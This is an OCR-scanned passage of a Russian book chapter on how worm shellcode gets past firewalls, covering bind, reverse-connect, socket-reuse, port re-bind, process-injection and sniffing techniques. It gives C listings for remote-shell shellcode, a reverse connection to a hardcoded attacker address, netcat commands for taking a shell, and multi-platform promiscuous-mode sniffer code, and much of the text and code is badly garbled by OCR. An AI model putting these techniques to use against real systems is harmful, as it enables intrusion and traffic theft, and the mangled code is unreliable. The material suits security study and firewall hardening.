с локальным адресом I
179 угтанар^ваем соединение с удаленным узлом 1addr. sinjami ly = Ab J NE T : 1 addr. Sin_port = htons(HAUERS_PORT). laddr. sin_addr.s_addr = inaDDR_any; if (bi nd(1 socket.(struct sockaddr*) &laddr. sizeof(laddr))) return -1; II шаг 3: слушаем сокет if (listenflsocket. OxICO)) return -1; printf("wait for connection.. An"): // шаг обрабатываем входящие подключения csocket = accept(7socket. (struct sockaddr *) Scaddr. Scaddr_size)): sshel Иcsocket[Gl. MAX_BUF_SI7E): //удаленный shell //war 5; подчищаем за собой следы closesocketfisocket); Attack vulnerable service 0 Attacker connect to port N to get shell Рис. 5,2. Атакующий засылает shell-код на уязвимый сервер, где shell-код и открывает новый порт N, к которому впоследствии подключается атакующий, если, конечно, на его пути не встретится брандмаузер скачать сИС*°ЛНЫ” текст данного примера содержится в файле bind.c (можно к°мпнли СЙ1,Та издательства). Наскоро откомпилировав его (или взяв уже от- Жертво ft РОван11Ь|й bind.exe), запустим его на узле, условно называемом «узлом- shelI-KOja ИЛ,И «атакУсмы'м узлом». Эта стадия будет соответствовать засылке 3°6анием ' НеРеполняю|цсго буфер и перехватывающего управление (преобра- еНнЫм Ч(}Исходного текста в двоичный код головы червя воинственно настро- счпус, 31 Тслям придется заниматься самостоятельно, а здесь вам не тот ко- Тедерь ч<?НИе которого могут достигать четырех). netcat "адгГеМеСТИВ1111и ь па атакуюший узел, наберите в командной строке: £ТакУенОг0., ^атакУемого” 666 или, если у вас нет утилиты netcat; telnet "адрес 6^Hl1c ^оматр1710 Успеия,°’в окне telnet-клиента появится стандартное пригла- 11/7,1 Ме1Л110Г° иитеГ)П1)статоРа (по умолчанию это cmd.exe), и вы получите '<г’11!ч111> Нес полноценный shell, позволяющий запускать на атакуемом узле ^Ов°Ль ОНс°льные программы. е ’М&т й гРавшись с удаленным shell’oM (подробный разговор о которым нас сРеди). Убедитесь, что: ер запУщенная с ключом ” - а" (или любая другая утилита, по- *)> «видит» откровенно левый порт, открытый shell-кодом;
180___________ _______Глава 5. Побег через брандмаузер плюс терминализация всей Мт • при наличии правильно настроенного брандмаузера попытки подключить- ся к shell-коду извне сети не увенчаются успехом — брандмаузер не только блокирует входящие соединения на нестандартный порт, но и автоматиче- ски определяет I Р-адрсс атакующего (конечно, при условии, что тот не скрыт за анонимным proxy) (рис. 5.3). После этого остается лишь вломиться к ха- керу на дом и, выражаясь образным языком, надавать ему по ушам — чтобы больше не хакерствовал. by firewall Рис. 5.3. Атакующий засылает shell-код на уязвимый сервер, shell-код открывает новый порт N, но входящее подключение на порт N блокируется брандмаузером и завершить атаку не удается Впрочем, в жизни все совсем не так, как в теории. Далеко не каждый админис- тратор блокирует все неиспользуемые порты, и уж тем более — проверяет соот- ветствие портов и узлов локальной сети. Допустим, почтовый сервер, сервер новостей и web-сервер расположены на различных узлах (а чаще всего так и бы- вает). Тогда на брандмаузере должны быть открыты 25-, 80- и 119-й порты. Пред- положим, что на web-сервере обнаружилась уязвимость, и атакующий его shell- код открыл для своих нужд 25-й порт. Небрежно настроенный брандмаузер пропустит все TCP/IP-пакеты, направленные на 25-й порт, независимо оттого, какому именно локальному узлу они адресованы. Проверьте — правильно ли сконфигурирован ваш брандмаузер и внеситесоот ветствующие изменения в его настройки, если это вдруг окажется не так. REVERSE EXPLOIT, ИЛИ ЕСЛИ ГОРА НЕ ИДЕТ К МАГОМЕТУ- Хакеры средней руки, потирая покрасневшие после последней трепки У1^ применяют диаметрально противоположный прием, меняя серверный и к-^ ентский код червя местами. Теперь уже не хвост червя стучится к его го, а голова к хвосту. Большинство брандмауэров довольно лояльно относятся ходящим соединениям, беспрепятственно пропуская их через свои стены.и сы атакующего на успех существенно повышаются (рис. 5.4). Одновременно с этим упрощается и программная реализация головы клиентский код которого сокращается всего до двух функций: socket и правда, IP-адрес атакующего приходится жестко {hardcoded.) прошиваТ1’
181 ^анавливаем соединение с удаленным узлом т° ТЬ Червь должен уметь динамически изменять свой shell-код, а это ил 7 мнгтнчг^ ^)вапни> предъявляемых к shell-коду) не такая уж и простая зада- Attack vulnerable service Shellcode creates a new socket Wtacker Server connect to Attacker and spawn a shell Рис. 5.4. Атакующий открывает на своем узле новый порт N, засылает shell-код на уязвимый сервер, откуда shell-код устанавливает с узлом атакующего исходящее соединение, обычно не блокируемое брандмаузером Buffer Overflow Листинг 5.2. Ключевой фрагмент shell-кода, устанавливающий исходящее соединение ^define HACKERS_PORf 666 define HACKERS_IB ”127.0.0.Г if 4 Ucs* \С°ЗДаем Сонет sr-°” *n—* W У * AF-INET: •S1n_addr.s_acldr = 6tcns(HACKERS_P0RT): tar°nreCt(csocket (strner c . ° 1net-dddr^«ERS_fP); Ч?пЛ' ^«иваемся данным»^kaddr*)&caddr- sizeof(caddr))) return -1: 1 "o' revefse.c) В1П1^НЫЙ 1екст демонстрадиоиного примера (ищите его sMl. б6, а /,а атакуемо» Штена узле атакующего следующую команду: netcat - *'оде Кода)и введите ГР- зап^СТИТе Фа»л reverse.exe (выполняющий роль О 6 ,<ак Уже говопи пп •аЛ|№с а1 акующего узла с клавиатуры (в реальном she) J- суч^°вь ТеРмин СЬ ВЫШе’этот адРес передается вместе с головой червя). узлом всеСРЛ Превра™тся в Удаленный shell, позволяющий делать к%}. *1ог° Хвоста п<-С<г-Ч ГО Угодно- Причем если в отношении «подтягивания» -^Лом ТСР/1рЬ1Л(> прсдельно ясно (голова червя устанавливает с ис- ?>сТу,Ген,,е после -' сосдинение, скачивает основное тело червя, разрывая R ^ckdoor’ 3аВСршения эт°й операции), то осуществить «инверсный» ?Сч Уже н / У значнтельно сложнее, поскольку инициатором соединения е хакер, а сам удаленный shell-код. Теоретически последний
182 Глава 5. Побег через брандмаузер плюс терминала --------------------------------------------------------Л^ЭУИЯ в™, можно запрограммировать так, чтобы он периодически стучался на %. узел, пытаясь установить соединение каждый час или даже каждые С^Ск1’й секунд, однако это будет слишком заметно, и к тому же атакующему по °ЛЬ|(() ся постоянный IP, которым не так-то просто завладеть анонимно (рцс Buffer Overflow Server Shellcode creates a new socket Attack vulnerable service IM Attacker' Reverse connect blocked by firewall Рис. 5.5. Атакующий открывает на своем узле новый порт N, засылает shell-код на уязвимый сервер, откуда shell-код устанавливает с узлом атакующего исходящее соединение, безжалостно блокируемое правильно настроенным брандмауэром Если уязвимый узел находится в MDZ-зоне («демилитаризованной» зоне- выделенном сегменте сети, в котором локальная сеть пересекается с агрессив- ной внешней средой, где по обыкновению и устанавливаются публичные сер- веры), администратор может с чистой совестью заблокировать все исходящие соединения, перекрывая червю «кислород» п одновременно с этим беспрепят- ственно пропуская локальных пользователей в Интернет. Правда, дверь деми- литаризованной зоны практически никогда не запирается наглухо и в ней все- гда остается крохотная щелка, предназначенная для отправки почты. DNS-запросов и т. д„ однако правильно сконфигурированный брандмаузер ни за что не выпустит пакет, стучащийся в 25-й порт, но отправленный пес SMTP- а с web-сервера! Но даже если исходящие соединения и не блокируются бранд.маузером, черв1, все равно не сможет эффективно распространяться, ведь брандмаузер атаку ющего узла навряд ли пропустит входящее соединение, поэтому дальше пеР®° го поколения процесс размножения не пойдет. В любом случае установка вых соединений на нестандартные порты (а уж тем более периодпче^^ «поползновения» в сторону узла хакера) так или иначе отображается и к хакеру в срочном порядке отправляется бригада карателей быстрого р рования («нэхорошо наступаешь дарагой, да?»). FIND EXPLOIT, ИЛИ МОЛЧАНИЕ БРАНДМАУЗЕРА Если в процессе оперативно-воспитательной работы вместе с ушами хакеру оторвут еще кое-что, до пего, может быть, наконец дойдет, что устава - новые TCP/IP-соединения с атакуемым сервером не нужно! Вместо этого а3<1я но воспользоваться уже существующим соединением, легальным установленным с сервером!
183 соединение с удаленным узлом тН0Стп, можно гарантировать, что на публичном wob-сервере будет обяза- 8 4,11 оТКрыт 80-й порт, иначе пи один пользователь внешней сети не сможет 1‘,'11’110оаботать. Поскольку HTTP-протокол требует двухстороннего TCP/IP- с "зннепия, атакующий может беспрепятственно отправлять shell-коду зловред- С1,С" команды н получать назад ответы. Алгоритм атаки в общем виде выглядит 1|Ь1С'\из11телыютак: атакующий устанавливаете уязвимым сервером TCP/IP- "^пнение, притворись невинной овечкой, мирно пасущейся на бескрайних 1 >осторах Интернета, по вместо честного запроса "GET" он подбрасывает серве- 'v зловредный shell-код, переполняющий буфер и захватывающий управление. Брандмаузер, довольно смутно представляющий себе особенности программ- ной реализации сервера, пе видит в таком пакете ничего дурного и благополуч- но его пропускает. Между тем shell-код, слегка обжившись на атакованном сервере, вызывает функ- цию reev, передавая ей дескриптор уже установленного TCP/IP-соедипения, — того самого, через которое он и был заслан, — подтягивая свое основное тело. Совершенно ничего не подозревающий брандмаузер и эти пакеты пропускает тоже, ничем пе выделяя их в логах (рис. 5.6). Проблема в том, что shell-код не знает дескриптора «своего» соединения и по- тому не может этим соединением напрямую воспользоваться. Но тут на помощь приходит функция getpeername, сообщающая, с каким удаленным ад- ресом и портом установлено соединение, ассоциированное с данным дескрип- тором (если дескриптор не ассоциирован ни с каким соединением, функция возвращает ошибку). Поскольку и в Windows 9x/NT, и в UNIX дескрипторы выражаются небольшим положительным целым числом, вполне реально за короткое время перебрать их все, после чего shell-коду останется лишь опре- делить: какое из всех TCP/IP соединений «его». Это легко. Ведь IP-адрес 11 порт атакующего узла ему хорошо известны (ну должен же он помнить, от- куда он только что пришел!), достаточно выполнить тривиальную проверку ,,а совпадение — вот и все. descriptor t - Пе₽ёб °' АтакУюШий засылает на уязвимый сервер shell-код, который методом «тупого» СузЛо°Ра находит сокет уже установленного соединения и связывается to м Пакующего, не вызывая никаких подозрений Р°ны брандмаузера
184____________ Глава 5. Побег через брандмаузер плюс терминализация всей Программная реализация головы червя в несколько упрощенном виде Мо>кет выглядеть, например, так (листинг 5.3). Листинг 5.3. Ключевой фрагмент shell-кода, осуществляющий поиск сокета «своего» соединения // шаг 1: перебираем все дескрипторы сокетов один за другим for (а = 0; а < MAX_SOCKET: а++) { *buff =0: // очищаем имя сокета // шаг 2: получаем адрес, связанный с данным дескриптором // (конечно, при условии, что с ним вообще что-то связно) if (getpeername((SOCKET) a. (struct sockaddr*) 8faddr. (int *) buff) != -1) { // шаг 3: идентифицируем свое TCP/IP-соединение по своему порту if (htons(faddr.sin_port) == HACKERS_PORT) sshelК(SOCKET) a. MAX_BUF_SIZE): ) // шаг 4: подчищаем за собой следы с 1 osesocket(fsocket): Откомпилировав демонстрационный пример find.c, запустите его на атакуемом узле, а на узле атакующего наберите: netcat "адрес атакуемого” 666. Убедитесь, что никакие, даже самые жесткие и недемократичные настройки брапдмаузе- ра, не препятствуют нормальной жизнедеятельности червя. Внимательнейшим образом изучите все логи — вы не видите в них ничего подозрительного? Вот! Я тоже не вижу. И хотя IP-адрес атакующего в них исправно присутствует, он ничем не выделяется среди сотен тысяч адресов остальных пользователей, и ра- зоблачить хакера можно лишь просмотром содержимого всех TCP/IP-пакетов- Пакеты, отправленные злоумышленником, будут содержать shell-код, который легко распознать на глаз. Однако, учитывая, что каждую секунду сервер пере- лопачивает не один мегабайт информации, просмотреть все пакеты становится просто нереально, а автоматизированный поиск требует вирусной сигнатур1^ которой на латентной стадии эпидемии еще пи у кого нет. REUSE EXPLOIT, ИЛИ МОЛЧАНИЕ БРАНДМАУЗЕРАII Допустим, разработчики операционных систем исправят свой грубый ляп с скрипторами сокетов, равномерно рассеяв их по всему 32-битному nP°cTJc!IlJ ству, что сделает лобовой перебор довольно неэффективным, особенно в функции getpeername будет встроен детектор такого перебора, реагируй в случае подозрения па атаку все возрастающим замедлением. И что тогда. чего! Опытные хакеры (и грамотно спроектированные черви) перейдут К пу «Б», насильно делая re-bind уже открытому порту. Возможность повторного использования адресов — это вполне легальп можность и предусмотрена она не случайно. В противном случае проек! аЯ Р°3' -нрон-'-
устанавливаем соединение с удаленным узлом 185 нце разветвленных сетевых приложений с сильно развитой иерархической структурой оказалось бы чрезвычайно затрудненным (кто программировал соб- твённые серверы, тот поймет,ну а кто не программировал, просто не в состоя- нии представить, чего он избежал). Коротко говоря: делать bind науже открытый порт может только владелец это- го порта (то есть процесс, открывший данный порт, или один из его потомков, унаследовавших дескриптор соответствующего сокета), да и то лишь при том условии, что сокет не имеет флага эксклюзивности (SOEXCLUSIVEADDRUSE). То- гда, создав новый сокет и вызвав функцию setsockopt, присваивающую ему ат- рибут SOREUSEADDR, shell-код сможет сделать bi nd и 1 i sten, после чего все после- дующие подключения к атакованному серверу будут обрабатываться уже не самим сервером, а зловредным shell-кодом (рис. 5.7)! again to get shell ₽ис. 5.7. Атакующий засылает на уязвимый сервер shell-код, который делает re-bind на открытый публичный порт и перехватывает все последующие соединения (и соединения, устанавливаемые атакующим в том числе) рограммная реализация данной атаки вполне тривиальна и отличается от эк- сплоита bind.c одиой-единственной строкой: setsockopt(rsocket, SOL_SOCKET. J^EUSEADDR. &n_reuse, sizeof(nreuse)), присваивающей сокету атрибут ~ oEADDR. Однако вместо открытия порта с нестандартным номером данный 3 .. а*ватывает основной порт уязвимой службы, не вызывая никаких претен- 11У рандмаузера (листинг 5.4). ЙИстинг 5 4 1/ *. Ключевой фрагмент shell-кода, осуществляющий re-bind открытого порта '' шаг 1. 'f о С03Даем сокет Z/ uarS?Cket = socket<AF_INET. SOCKJTREAM. 0)) < 0) return -1: if (Set присваиваем атрибут SO_REUSEADDR 11 mar 2°C'<‘0P^^rsocket, SOL SOCKET . SO REUSEADDR . &n_reuse. 4)) return -1: raddr ’ СБЯЗЬ|ваем сокет с локальным адресом ceddr’S radflr'! n'POrt ,f (bind(;addrs-acWr socket.(struct sockaddr = AF_!NET; = htons(V_PORT): = INACDR_ANY: *) Sraddr. sizeoftraddr))) return -1; // уязвимый порт Продолжение &
186 Глава 5. Побег через брандмаузер плюс терминализация кг - ------------------------—--------------------------SjenNf Листинг 5.4 {продолжение) II шаг 4: слушаем 7/ при последующих подключениях к уязвимому порту управление получит // shell-код. а не код сервера, и этот порт будет обязательно открыт на // firewall, поскольку это порт "легальной" сетевой службы! if (1 isten(rsocket. OxD) return -1: // шаг 5: извлекаем сообщение из очереди csocket = accept!rsocket. (struct sockaddr *) 8raddr. 8raddr_size): // шаг 6: обмениваемся командами с сокетом sshell((SOCKET) csocket. MAX_BUF_SIZE): /7 шаг 7 - подчищаем за собой следы cl osesocket(rsocket): closesocket(csocket): Откомпилировав демонстрационный пример reuse.c, запустите его на атакуемом узле, а на узле атакующего выполните следующую команду: netcat "адрес ата- куемого" 80, соответствующую стадии засылки shell-кода на уязвимы!? сервер. Затем повторите попытку подключения вновь, и если все пройдет успешно, на экране терминала появится уже знакомое приглашение командного интерпре- татора, подтверждающее, что подключение обработано отнюдь не прежним вла- дельцем порта, а головой червя или shell-кодом. Убедитесь, что брандмаузер, независимо от его конфигурации, не видит в этой ситуации ничего странного и никак не препятствует несанкционированному захвату подключений. ПРИМЕЧАНИЕ-------------------------------------------------------- Под Windows 2000 SP3 этот прием иногда не срабатывает — система, нахально проигно- рировав захват порта, продолжает обрабатывать входящие подключения его прежним владельцем. Как ведут себя остальные системы — не знаю, не проверял, однако это явная ошибка, и она должна быть исправлена в следующих осях. В любом случае, если такое произошло, повторяйте засылку shell-кода вновь и вновь — до тех пор, пока вам не повезет. сыпаться од- < безопасност" FORK EXPLOIT, ИЛИ БРАНДМАУЗЕР ПРОДОЛЖАЕТ МОЛЧАТЬ Атрибут эксклюзивности не присваивается сокетам по умолчанию, и о его су шествовании догадываются далеко не все разработчики серверных nlMi;i0^e ний, однако если под натиском червей уязвимые сервера начнут за другим, разработчики могут пересмотреть свое отношение i и воспрепятствовать несанкционированному захвату открытых портов. На . пят ли после этого для червей мрачные времена? Да как бы не так! Голова червя просто «прибьет» уязвимый процесс вмесТ<?аВ. всеми его дескрипторами (при закрытии процесса все открытые им II0PTbI^cJIC тематически освобождаются), перебрасывая свое тело в новый процесс, чего червь сделает bi nd только что открытому порту, получая в свое распор ние все входящие соединения.
187 „,рМ соединение с удаленным узлом --------- TiY-системах есть замечательный системный вызов fork, расщепляющий В - „роцесс и автоматически раздваивающий червя. В Windows 9x/NT 1СК'' -твить такую операцию намного сложнее, однако не настолько сложно, осушен кажется на первый взгляд. Один из возможных способов реализации КЯК чит приблизительно так: сначала вызывается функция CreateProcess BbI J новленным флажком REATESUSPENDED (создание процесса с его немедлен- С 'im «усыплением»), затем из процесса выдирается текущий контекст (этоосу- НЬ1М вляется вызовом функции GetThreadContext) и значение регистра EIP уста- ивается на начало блока памяти, выделенного функцией VirtualAllocEx. о тн setThreadContext обновляет содержимое контекста, а функция рЫ» 1_ 11 WriteProcessMemory внедряет в адресное пространство процесса shell-код, после чего процесс пробуждается, «разбуженный» функцией ResumeThread, и shell-код начинает свое выполнение (рис. 5.8). Против этого приема не существует никаких адекватных контрмер и противо- действий, единственное, что можно порекомендовать — это избегать использо- вания уязвимых приложений вообще. Buffer Overflow service again to get shell Рис. 5.8. Атакующий засылает на уязвимый сервер shell-код, «прибивающий» Рверный процесс и открывающий публичный порт заново sn*ffer exploit или пассивное сканирование мый ЖеЛании чеРвь может перехватывать весь трафик, проходящий через уязви- Ное ^,ел> а не только тот, что адресован атакованному сервису. Такое нассив- NaniH^00^1111415311140 чРезвычайн° трудно обнаружить, и из всех рассмотренных скрЬ1тСП°СОб°в °^хола брандмаузеров этот обеспечивает червю наивысшую СТВ0СеТи путешествует огромное количество снифферов для UNIX, в болыпин- ваццСВ°еМ Рас11Р°страняемых в исходных текстах и неплохо прокомментиро- к кр0^Х’ ^аиболее универсальный способ прослушивания трафика апеллирует Wj , с'Платформенной библиотеке libcap, портированной в том числе плод defauit°WS 95/98/ME/NT/200[)/XP/CE (на сайте http://wincap.polito.it/install/ •htm можно найти и сам порт библиотеки, и Щрйитрдля Windows — очень
188 Глава 5. Побег через брандмаузер плюс терминализацияв^ рекомендую). Если же на атакованном компьютере этой библиотеки нет (а черВь не может позволить себе роскошь тащить ее за собой), мы будем Д<?йствойат так: открываем сокет в сыром режиме, связываем его с прослушиваемым Н1) терфейсом, переводим последний в «неразборчивый» (promiscuous) режим, в к0. тором сокет будет получать все проходящие мимо пего пакеты, и... собственно читаем их в свое удовольствие. В различных операционных системах этот механизм реализуется по-разному В LINUX, начиная с версии 2.2, появились поддержка пакетных сокетов, пред, назначенных для взаимодействия с сетью на уровне драйверов и создаваемых вызовом socket (PF PACKET. int type, int protocol), где type может принимать значения SOCK RAW («сырой» сокет) или SOCK_DGRAM («сухой» сокете удаленными служебными заголовками). Вызов if г. if r_f lags |= IFF_PROMISC; ioctl (s, SIOCGIFFLAGS, ifr) активирует неразборчивый режим, где ifr — интерфейс, к которому сокет был привязан сразу после его создания (подробнее об этом можно прочитать в статье «Анализатор сетевого трафика», опубликованной в октябрьском номере журнала «Системный Администратор» за 2002 год). Под BSD можно открыть устройство "/dev/bpf” и после его перевода в нераз- борчивый режим — ioctl (fd. BIOCPROMISC, 0) - слушать пролетающий мимо узла трафик. В Solarise все осуществляется аналогично, только IOCTL-коды немного другие и устройство называется не bpf, a hme. Аналогичным образом ведет себя и SUNOS, где для достижения желаемого результата приходится отрывать устройство nit. Короче говоря, эта тема выжата досуха и никому уже не интересна. Замечатель- ное руководство по программированию снифферов (правда, на французском языке) можно найти на http.7/www.security-labs.org/index.php3?page=135, а на http:// packetstormsecurity.org/sniffers/ выложено множество разнообразных «грабителей» трафика в исходных текстах. Наконец, по адресам http://athena.wsu.ru/infonets/ Docs/sniffer.txt и http://cvalka.net/read.php?file=32&dir=programming вас ждет пара толковых статей о снифферах на русском языке. Словом, на недостаток инф°Р' мации жаловаться не приходится. Правда, остается неясным — как примирил» весь этот зоопарк и удержать в голове специфические особенности каждой ® операционных систем? Подавляющее большинство статей, с которыми мне приходилось встречаться- описывали лишь одну, ну максимум две операционные системы, совершенно игнорируя существование остальных. Приходилось открывать несколько ста тей и попеременно мотаться между ними на предмет выяснения: а под Lib о это как? А под BSD? А под Solaris? От этого в голове образовывался такой ка вардак, что от прочитанного материала не оставалась и следа, а компилируй мый код содержал огромное количество фатальных ошибок, даже и не пыта ко м пи л и ро ваться. ,. чем Чтобы не мучить читателя сводными таблицами (от которых больше вреда» пользы), ниже приводится вполне работоспособная функция абстракции,1 готавливающая сокет (дескриптор устройства) к работе и поддерживаю большое количество различных операционных систем, как-то: SUN OS, Lib
189 впиваем соединение с удаленным узлом усга*5----— BSD, IRIX и Solaris (листинг 5.5). Полный исходный текст сниффера мож- FfCL ш11ть отсюда: http://packetstormsecurity.Org/sniffers/gddl3.c. 1Ю сТ‘ 5.5. Создание сырого сокета (дескриптора) и перевод его в неразборчивый режим Листинг ' net Packet Sniffer 'GreedyDog' Version 1.30 ь shadow Penguin Security (http://snadowpenguin.backsection.net) ^iten by UNYUN (unewn4th@usa.net) #ifdef SUN0S4 / •< SUN 0S4 > ---*/ Refine NITTCV "/dev/nit" */ «efine DEFAULT_NIC "leO" */ Refine CHUNKSIZE 4096 */ ♦endif #ifdef l .INUX /* c LINUX > --*/ ♦define NIT-DEV ♦define DEFAULT_NIC "ethO" */ ♦define #endi f CHUNKSIZE 32000 */ ♦ifdef FREEBSD /* -< FreeBSD > --*/ ♦define NIT_DEV "/dev/bpf" */ ♦define DEFAUI T NIC "edO" */ ♦define CHUNKSIZE 32000 */ ♦endif ♦ifdef IRIX /* -< IRIX > -*/ ♦define NIT DEV .... ♦define DEFAULT NIC .... ♦define CHUNKSIZE 60000 */ ♦define ETHERHDRPAD RAW HDRPAD(sizeof(struct ether header)) ♦endif ♦ifdef SOLARIS /* -< Solaris > -*/ define NIT_DEV ♦define DEFAULT NIC "/dev/hme” */ ♦define CHUNKSIZE 32768 */ ♦endif ♦define S_DEBUG */ ?Л'пе SIZE OF ETHHDR E? « 14 "./snif.log" */ */ 1r|e TMPLOG DIR "/tmp/" */ ct conn lisf{ str,Jct conn list char *next_p: sourceIP[16].destIP[16]; j. signed long sourcePort.destPort: struct r #ifd₽t omJist *c1: struct conn list *org cl: SOLARIS int in» stcgetmsg(fd. ctlp. flagsp. caller) Str, fd: Ct Strbuf *ctlp; Продолжение
ISO________________________Глава 5. Побег через брандмаузер плюс терминализация Листинг 5.5 (продолжений int *flagsp: char *caller: { int rc: static char errmsg[80]: *flagsp = 0: if ((rc=getmsg(fd.ctlp.NULL.flagsp))<O) return(-2): if (alarm(0)<0) return(-3); if ((rc&(MORECTL|MOREDATA))==(MOREClL|MOREDATA)) return!-4): if (rc&MORECTL) return(-5): if (rc&MOREDATA) return(-6): if (ctlp->len<sizeof(long)) return(-7): return(O); } #endif i nt setn i c_promi sc (n i t_dev.ni c_name) char *nit_dev: char *nic_jiame: int sock: struct ifreq f: tfifdef SUNOS4 struct strioctl si: struct timeval timeout: u_1nt chunksize = CHUNKSIZE: u_long ifflags = NI_PROM1SC: if ((sock = open(nit_dev. O_RDONLV)) < 0) if (ioctl(sock. I_SRDOPT. (char *)RMSGD) < 0) si.ic_timout = INFTIM: if (ioctKsock. I_PUSH. "nbuf'') < C) return(-l). return(-2): return(-3); timeout.tv_sec = 1; timeout.tv_usec = 0: si.ic_cmd = NIOCStIME: si.icjen = sizeof(timeout): si.ic_dp = (char *)&timeout; if (ioctKsock. I_STR, (char *)&si) < 0) return(-4): si.ic_cmd = NIOCSCHUNK: si.icjen = sizeof(chunksize): si.ic_dp = (char *)&chunksize: if (ioctKsock. I STR. (char *)&si) < 0) return!-5): strncpy(f.ifr_name. nicjiame. sizeoftf ifr_name)): f.ifr_name[sizeof(f.ifr_name) - 1] = '\0': si.ic_cmd = NIOCBIND: si.icjen = sizeof(f): si.icjp = (char *)&f; if (ioctKsock. I_STR. (char *)&si) < 0) return(-6); si.ic_cmd = NICCSFLAGS: si.icjen = sizeoffifJlags): si.ic dp = (char *)&ifJlags: if (ioctKsock. I_STR, (char *)&si) < 0) return(-7): if (ioctKsock, I FLUSH, (char *)FLUSHR) < 0) return(-8):
устанавливаем соединение с удаленным узлом 191 #endif ^fdef LIMJX if ((scck=socket(AF_INEl ,50СК__РАСКЕГ.768))<0) return(-l): strcpytf.ifr.name. ric_name): if (ioct'(sock.S10CGIFFLAGS.&f)<0) return(-2); f.ifrjlags |= IFF_PROMISC: if (ioctl(sock.SIOCSIFFLAGS.&f)<0) returnt-3); #endif f,fdef FREEBSD crar device[12]; int n=0; struct ЬрГ version bv; unsigned int size: do{ sprir.tf(device. "&s£d" .nit_dcv. n++): sack=open(device.O_RDONLY): ) while(sock<0 && errno==EBUSv): if(ioctl(sock.BIOCVERSION.(char *)&bv)<0) return(-2): i f ((bv. bvjna jor! =BPF_MAJOR_VERS I ON) | | (bv. bvjii nor<BPF_MINOR_VERS ION)) return - 3; strncpytf.ifr_name.nic_name.sizeof(f ifr_name)): if(ioctl(sock.BIOCSETIi;.(char *)&f)<0) return-4; ioctl(sock .BIOCPROM’SC.NULL):if(ioct 1(sock.BIOCGBLEN. (char *)&size)<0)return-5; fendif iifdef IRIX struct sockaddr_raw sr: struct snoop filter sc: int size=CHUNKSIZE.on=l: char interface; i f((sock=socket (PF_RAW. SOCK_RAW. RAWP ROTO_SNCOP) )<0) return -1: sr.sr_family = AF_RAW: sr.sr_port = 0; if (!(interface=(char *)getenv("inte rface"))) remset (sr.sr_ifname.0. sizeof(sr. sr_i fname)): else strncpy(sr.sr_ifname.Interface. sizeof(si“.sr_ifname)): if(bind(sock.&sr,sizeof(sr))<0) return(-2); nemset((char *)&sf.0.sizeof(sf)); if(ioct1(sock.SIOCADDSNOOP.&s f)< 0) return (- 3i: setsockopt(sock.SOL_SOCKET,SO_RCVBUF . (char *)&size.sizeof(size)): if(iocti(sock.SI0CSN0OPING.&on)<0) r«turn(-4); tend if ♦ifdef SOLARIS long buf[CHUNKSIZE]: dl_attach_req_t ar; dl_nromiscon_req_t pr; struct strioctl si; union DL_primiti-ves *dp; dl_bind_req_t bind_req; struct strbuf c: int flags; if ((sock=open(nit_dev.2))<0) return (-1); ar.dlj3rimtive=DL_A"TACH_RE0: ar.dl_ppa-0: c.maxlen=0; c.len=sizecf(dl_attac'i_rcq_t): c.buf-^(char *)&ar; if (putmsg(sock.8c.NULL.0)<C) return (-2); c.maxlen=CHUNKSIZE: c.len=0; c.buf-t’void *)buf: strgetmsgtsock.&c.&flags, "dlokack"); dp=(union OL_priniitives *)c.buf; if (dp->dl_primitive != DL_OK_ACK) return(-3): pr.dl_prinntive=DL_PROMISCON_REC: pr dl _leve'=DL_PRCMISC_PHVS; c.maxlen = 0; c-1en=sizeof(dl_promiscon_req_t): c.buf=(char *)&pr: Продолжение
192 Глава 5. Побег через брандмаузер плюс терминализация в Листинг 5.5 {продолжений if (putmsg(sock.&c.NULL.0)<0) return(-4): c.maxlen=CHUNKSIZE; c.len=O: c.buf=(void *)buf: strgetmsg(sock.&c.&flags."dlokack"): dp=(union DLprimitives *)c.buf; if (dp->dl_primitive != DL_OK_ACK) return(-5); bi nd_req.dl_primi tive=DL_BIND_REQ: bi nd_req.dl_sap=0x800: bi nd_req.dl_max_coni nd=O; bi nd_req.dl_servi ce_mode=DL_CLDLS: bind_req.dl_conn_mgmt=0; bind_req.dl_xidtest_flg=O; c.maxlen=O; c.len=sizeof(dl_bind_req_t): c.buf=(char *)&bind_req; if (putmsg(sock.&c.NULL.0)0) return(-6); c.maxlen=CHUNKSIZE: c.len=0; c.buf=(void *)buf; strgetmsg(sock.&c.&flags.”dlbindack"); dp=(union DL_primitives *)c.buf: if (dp->dl_primitive != DL_BIND_ACK) return(-7); si.ic_cmd=DLIOCRAW; si.ic_timout=-l: si.ic_len=O; si.ic_dp=NULL: if (ioctKsock. I—STR. &si)O) return(-B): if (ioctl(sock. I_FLUSH.FLUSHR)O) return(-9): #endi f return(sock): Совсем иная ситуация складывается с Windows NT. Пакетных сокетов она не поддерживает, с сетевым драйвером напрямую работать не позволяет. Точнее, позволяет, но с очень большими предосторожностями и не без плясок с бубном (если нет бубна, на худой конец сойдет и обыкновенный оцинкованный таз, по- дробное изложение ритуала можно найти у Коберниченко в «Недокументиро- ванных возможностях WindowsNT»). И хотя пакетных снифферов под NT су- ществует огромное количество (один из которых даже входит в DDK), все они требуют обязательной установки специального драйвера, так как корректная ра- бота с транспортом в NT возможна только на уровне ядра. Может ли червь при- тащить с собой такой драйвер и динамически загрузить его в систему? Ну, вооб- ще-то может, только это будет крайне громоздкое и неэлегантное решение. В Windows 2000/ХР все гораздо проще. Там достаточно создать сырой сокет (в Windows 2000/ХР наконец-то появилась поддержка сырых сокетов!), пове сить его на прослушиваемый интерфейс и, сделав сокету bind, перевести после дний в неразборчивый режим, сказав WSAIoctl (raw socket. SIORCVALL, &optva . sizeof(optval). O.O.&N.O.O)),гдеoptval — переменнаяTiinaDWORDc единицейвн)т ри, a N — количество возращенных функцией байт. Впервые исходный текст такого сниффера был опубликован в шестом н°м^д журнала #29А, затем его передрал ZOmbie, переложивший ассемблерный на интернациональный программистский язык Си++ (странно, а почему не ’ и унаследовавший все ляпы оригинала. Ниже приведен его ключевой фРаГУ с моими комментариями (листинг 5.6.), а полный исходный текст содер^ в файле sniffer.c. Другой источник вдохновления — демонстрационный Пр11- IPHDRINC, входящий в состав Platform SDK 2000. Рекомендую.
